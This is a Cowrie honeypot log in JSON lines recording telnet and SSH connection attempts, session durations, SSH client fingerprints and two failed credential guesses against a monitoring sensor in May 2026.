{"eventid":"cowrie.session.connect","src_ip":"49.88.156.34","src_port":47172,"dst_ip":"10.17.0.5","dst_port":23,"session":"f47056281346","protocol":"telnet","message":"New connection: 49.88.156.34:47172 (10.17.0.5:23) [session: f47056281346]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:44:19.301517Z"}
{"eventid":"cowrie.session.closed","duration":52.5244824886322,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:44:20.392805Z","src_ip":"165.232.131.181","session":"24f8df82093c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.2015626430511475,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:44:20.797016Z","src_ip":"38.54.119.93","session":"aac6acb81356","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.628737211227417,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:44:21.072008Z","src_ip":"165.232.131.181","session":"b34abe660b22","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.52941870689392,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:44:22.342176Z","src_ip":"165.232.131.181","session":"351bdf7b6c2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.75844359397888,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:44:24.948446Z","src_ip":"62.210.97.77","session":"63d4f4cac779","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.9053213596344,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:44:27.276714Z","src_ip":"62.210.97.77","session":"5dd5e1df3098","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":48090,"dst_ip":"10.17.0.5","dst_port":23,"session":"53df366bf218","protocol":"telnet","message":"New connection: 65.60.27.33:48090 (10.17.0.5:23) [session: 53df366bf218]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:44:27.595854Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45758,"dst_ip":"10.17.0.5","dst_port":23,"session":"e69edc9d8478","protocol":"telnet","message":"New connection: 62.210.97.77:45758 (10.17.0.5:23) [session: e69edc9d8478]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:44:28.058744Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":60252,"dst_ip":"10.17.0.5","dst_port":23,"session":"15aa97c90a25","protocol":"telnet","message":"New connection: 165.232.131.181:60252 (10.17.0.5:23) [session: 15aa97c90a25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:44:28.779251Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":60876,"dst_ip":"10.17.0.5","dst_port":23,"session":"09ec427af1da","protocol":"telnet","message":"New connection: 165.232.131.181:60876 (10.17.0.5:23) [session: 09ec427af1da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:44:29.451267Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":33904,"dst_ip":"10.17.0.5","dst_port":23,"session":"9bd873f34289","protocol":"telnet","message":"New connection: 165.232.131.181:33904 (10.17.0.5:23) [session: 9bd873f34289]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:44:29.732536Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":51760,"dst_ip":"10.17.0.5","dst_port":23,"session":"99ffba7162d2","protocol":"telnet","message":"New connection: 65.60.27.33:51760 (10.17.0.5:23) [session: 99ffba7162d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:44:30.114166Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":33218,"dst_ip":"10.17.0.5","dst_port":23,"session":"6976c47bd3d2","protocol":"telnet","message":"New connection: 165.232.131.181:33218 (10.17.0.5:23) [session: 6976c47bd3d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:44:30.119954Z"}
{"eventid":"cowrie.session.closed","duration":35.421274185180664,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:44:33.221884Z","src_ip":"62.210.97.77","session":"63c9bb863579","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.98989915847778,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:44:34.042826Z","src_ip":"62.210.97.77","session":"47f7fb3aea31","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":34806,"dst_ip":"159.203.135.109","dst_port":22,"session":"8454254691a4","protocol":"ssh","message":"New connection: 80.94.92.182:34806 (159.203.135.109:22) [session: 8454254691a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:44:34.203891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:44:34.288560Z","src_ip":"80.94.92.182","session":"8454254691a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:44:34.429406Z","src_ip":"80.94.92.182","session":"8454254691a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"qwer1234","message":"login attempt [sol/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:44:35.649060Z","src_ip":"80.94.92.182","session":"8454254691a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:44:37.098628Z","src_ip":"80.94.92.182","session":"8454254691a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.478248834609985,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:44:37.106729Z","src_ip":"62.210.97.77","session":"d26befaef984","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":55222,"dst_ip":"10.17.0.5","dst_port":23,"session":"f26396c20ebc","protocol":"telnet","message":"New connection: 38.54.119.93:55222 (10.17.0.5:23) [session: f26396c20ebc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:44:39.732369Z"}
{"eventid":"cowrie.session.closed","duration":47.76831603050232,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:44:39.861951Z","src_ip":"38.54.119.93","session":"146256d1811d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.12861156463623,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:44:42.687202Z","src_ip":"62.210.97.77","session":"41535dc43401","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.24507260322571,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:44:42.941572Z","src_ip":"165.232.131.181","session":"f7c383306aea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":52438,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e3c7f55a8b7","protocol":"telnet","message":"New connection: 62.210.97.77:52438 (10.17.0.5:23) [session: 0e3c7f55a8b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:44:43.462673Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":52450,"dst_ip":"10.17.0.5","dst_port":23,"session":"aba6a7e1b10a","protocol":"telnet","message":"New connection: 62.210.97.77:52450 (10.17.0.5:23) [session: aba6a7e1b10a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:44:43.611634Z"}
{"eventid":"cowrie.session.closed","duration":37.53855633735657,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:44:43.924546Z","src_ip":"62.210.97.77","session":"00634be6c3bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":52452,"dst_ip":"10.17.0.5","dst_port":23,"session":"71bcc6283049","protocol":"telnet","message":"New connection: 62.210.97.77:52452 (10.17.0.5:23) [session: 71bcc6283049]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:44:44.226138Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":41102,"dst_ip":"10.17.0.5","dst_port":23,"session":"83785bf47427","protocol":"telnet","message":"New connection: 165.232.131.181:41102 (10.17.0.5:23) [session: 83785bf47427]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:44:48.525221Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":41286,"dst_ip":"10.17.0.5","dst_port":23,"session":"9bb3310b1212","protocol":"telnet","message":"New connection: 165.232.131.181:41286 (10.17.0.5:23) [session: 9bb3310b1212]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:44:51.043969Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42610,"dst_ip":"10.17.0.5","dst_port":23,"session":"473b4549765c","protocol":"telnet","message":"New connection: 62.210.97.77:42610 (10.17.0.5:23) [session: 473b4549765c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:44:51.351578Z"}
{"eventid":"cowrie.session.closed","duration":45.586944818496704,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:44:51.486541Z","src_ip":"165.232.131.181","session":"dda47540b04e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.5952513217926,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:44:55.043130Z","src_ip":"165.232.131.181","session":"592cee3a11bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":54772,"dst_ip":"10.17.0.5","dst_port":23,"session":"84963186c626","protocol":"telnet","message":"New connection: 65.60.27.33:54772 (10.17.0.5:23) [session: 84963186c626]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:44:57.567337Z"}
{"eventid":"cowrie.session.closed","duration":36.463974714279175,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:45:04.059742Z","src_ip":"65.60.27.33","session":"53df366bf218","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":44838,"dst_ip":"10.17.0.5","dst_port":23,"session":"bbe6c9e79115","protocol":"telnet","message":"New connection: 165.232.131.181:44838 (10.17.0.5:23) [session: bbe6c9e79115]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:45:05.163527Z"}
{"eventid":"cowrie.session.closed","duration":38.4612500667572,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:45:06.519885Z","src_ip":"62.210.97.77","session":"e69edc9d8478","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":47158,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc07e4020278","protocol":"telnet","message":"New connection: 165.232.131.181:47158 (10.17.0.5:23) [session: fc07e4020278]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:45:07.628292Z"}
{"eventid":"cowrie.session.closed","duration":40.49107074737549,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:45:09.270199Z","src_ip":"165.232.131.181","session":"15aa97c90a25","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.942643404006958,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:45:09.570804Z","src_ip":"165.232.131.181","session":"fc07e4020278","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.7606942653656,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:45:10.211871Z","src_ip":"165.232.131.181","session":"09ec427af1da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.218.69.66","src_port":49139,"dst_ip":"159.203.135.109","dst_port":22,"session":"655de8b5d4a9","protocol":"ssh","message":"New connection: 89.218.69.66:49139 (159.203.135.109:22) [session: 655de8b5d4a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:45:10.899820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:45:10.904818Z","src_ip":"89.218.69.66","session":"655de8b5d4a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:45:11.078610Z","src_ip":"89.218.69.66","session":"655de8b5d4a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60142,"dst_ip":"10.17.0.5","dst_port":23,"session":"90b4b60fd174","protocol":"telnet","message":"New connection: 62.210.97.77:60142 (10.17.0.5:23) [session: 90b4b60fd174]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:45:11.119673Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60144,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b6155d4f1d6","protocol":"telnet","message":"New connection: 62.210.97.77:60144 (10.17.0.5:23) [session: 9b6155d4f1d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:45:11.564942Z"}
{"eventid":"cowrie.login.failed","username":"debian","password":"debian123","message":"login attempt [debian/debian123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:45:11.797455Z","src_ip":"89.218.69.66","session":"655de8b5d4a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:45:12.972512Z","src_ip":"89.218.69.66","session":"655de8b5d4a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.04656624794006,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:45:13.166420Z","src_ip":"165.232.131.181","session":"6976c47bd3d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.56551218032837,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:45:15.679544Z","src_ip":"65.60.27.33","session":"99ffba7162d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.409316062927246,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:45:16.871915Z","src_ip":"62.210.97.77","session":"0e3c7f55a8b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":51010,"dst_ip":"10.17.0.5","dst_port":23,"session":"b55a42f0b198","protocol":"telnet","message":"New connection: 38.54.119.93:51010 (10.17.0.5:23) [session: b55a42f0b198]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:45:17.156441Z"}
{"eventid":"cowrie.session.closed","duration":35.89105224609375,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:45:19.502588Z","src_ip":"62.210.97.77","session":"aba6a7e1b10a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.111411809921265,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:45:19.843843Z","src_ip":"165.232.131.181","session":"9bd873f34289","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.190378189086914,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:45:19.922609Z","src_ip":"38.54.119.93","session":"f26396c20ebc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56876,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca780b22f46f","protocol":"telnet","message":"New connection: 62.210.97.77:56876 (10.17.0.5:23) [session: ca780b22f46f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:45:19.984735Z"}
{"eventid":"cowrie.session.closed","duration":36.37532448768616,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:45:20.601365Z","src_ip":"62.210.97.77","session":"71bcc6283049","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.094057559967041,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:45:23.250377Z","src_ip":"38.54.119.93","session":"b55a42f0b198","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":55004,"dst_ip":"10.17.0.5","dst_port":23,"session":"90a92f8f9861","protocol":"telnet","message":"New connection: 165.232.131.181:55004 (10.17.0.5:23) [session: 90a92f8f9861]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:45:25.488188Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56890,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ff7b32da07e","protocol":"telnet","message":"New connection: 62.210.97.77:56890 (10.17.0.5:23) [session: 4ff7b32da07e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:45:25.654127Z"}
{"eventid":"cowrie.session.closed","duration":35.10699963569641,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:45:26.458488Z","src_ip":"62.210.97.77","session":"473b4549765c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.76704812049866,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:45:32.810899Z","src_ip":"165.232.131.181","session":"9bb3310b1212","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37836,"dst_ip":"10.17.0.5","dst_port":23,"session":"be9e1137155d","protocol":"telnet","message":"New connection: 62.210.97.77:37836 (10.17.0.5:23) [session: be9e1137155d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:45:33.550501Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":38618,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d3ef74acf61","protocol":"telnet","message":"New connection: 65.60.27.33:38618 (10.17.0.5:23) [session: 7d3ef74acf61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:45:34.119862Z"}
{"eventid":"cowrie.session.closed","duration":46.559059619903564,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:45:35.084174Z","src_ip":"165.232.131.181","session":"83785bf47427","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.23179030418396,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:45:36.799021Z","src_ip":"65.60.27.33","session":"84963186c626","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.9959399700164795,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:45:39.115695Z","src_ip":"65.60.27.33","session":"7d3ef74acf61","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.938930988311768,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:45:42.058475Z","src_ip":"62.210.97.77","session":"90b4b60fd174","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.73960256576538,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:45:44.304408Z","src_ip":"62.210.97.77","session":"9b6155d4f1d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":34056,"dst_ip":"10.17.0.5","dst_port":23,"session":"33f89a02e57f","protocol":"telnet","message":"New connection: 165.232.131.181:34056 (10.17.0.5:23) [session: 33f89a02e57f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:45:45.529868Z"}
{"eventid":"cowrie.session.closed","duration":42.51425266265869,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:45:47.677633Z","src_ip":"165.232.131.181","session":"bbe6c9e79115","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.1912660598754883,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:45:47.720891Z","src_ip":"165.232.131.181","session":"33f89a02e57f","protocol":"telnet"}
